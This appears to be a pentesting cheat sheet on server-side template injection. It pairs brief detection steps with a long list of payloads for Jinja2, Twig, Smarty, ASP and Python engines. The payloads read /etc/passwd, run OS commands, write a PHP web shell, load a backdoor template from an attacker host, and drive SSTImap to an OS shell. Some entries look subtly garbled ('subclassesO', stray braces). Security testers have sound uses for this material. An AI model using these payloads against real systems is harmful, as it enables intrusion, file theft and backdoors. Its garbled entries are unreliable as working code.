SSTI: Server-Side Template Injection

Server-side template injection is a web application vulnerability that occurs in template-generated applications. User inputs get embedded dynamically into the template variables and rendered on the web pages.

Modern template engines are more complex and support various functionalities that allow developers to interact with the back-end directly from the template.

- Detection Steps

First, identify the application’s built-in language and the running template engine.

Then, identify injectable user-controlled inputs in GET and POST requests.

After that, fuzz the application with special characters ${{<%[%'"}}%\. Observe which ones get interpreted by the server and which ones raise errors.

Then we could try basic injection payloads in like {{7*7}}, if that returns 49, then it's vulnerable to SSTI.

- Injection in GET Requests

GET /home/{{7*7}} HTTP/1.1
GET /home/page={{7*7}} HTTP/1.10

- Injection in POST Requests

POST /post/new HTTP/1.1
Host: …………………
User-Agent: …………………
Accept: …………………
Upgrade-Insecure-Requests: 1
 
title={{7*7}}&content={{7*7}}&submit=Post

- Payloads

To read files:

{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

Short payloads for RCE:

{{ cycler.__init__.__globals__.os.popen('id').read() }}

{{ joiner.__init__.__globals__.os.popen('id').read() }}

{{ namespace.__init__.__globals__.os.popen('id').read() }}

ASP SSTI (IIS Server SSTI Payloads):

To test it (If we see 49 in the output, then its vulnerable):

<%response.write(7*7) %>

To get a revshell

<%response.write CreateObject("WScript.Shell").Exec("cmd /c whoami}").StdOut.Readall()%>

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

or

@System.Diagnostics.Process.Start("cmd.exe","/c powershell -e {encoded command}");

- SSTImap

https://github.com/vladko312/SSTImap

./sstimap.py -u https://example.com/page?name=John

./sstimap.py -u https://example.com/page?name=John --os-shell

- Payloads

Generic

${{<%[%'"}}%\.
{% debug %}
{7*7}
{{ '7'*7 }}
{2*2}[[7*7]]
<%= 7 * 7 %>
#{3*3}
#{ 3 * 3 }
[[3*3]]
${2*2}
@(3*3)
${= 3*3}
{{= 7*7}}
${{7*7}}
#{7*7}
[=7*7]
{{ request }}
{{self}}
{{dump(app)}}
{{ [] .class.base.subclassesO }}
{{''.class.mro()[l] .subclassesO}}
for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
{{ []._class.base.subclasses_O }}
{{['cat%20/etc/passwd']|filter('system')}}

PHP

{php}print "Hello"{/php}
{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{$smarty.version}
{php}echo id;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Python

{% debug %}
{{settings.SECRET_KEY}}
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}

Last updated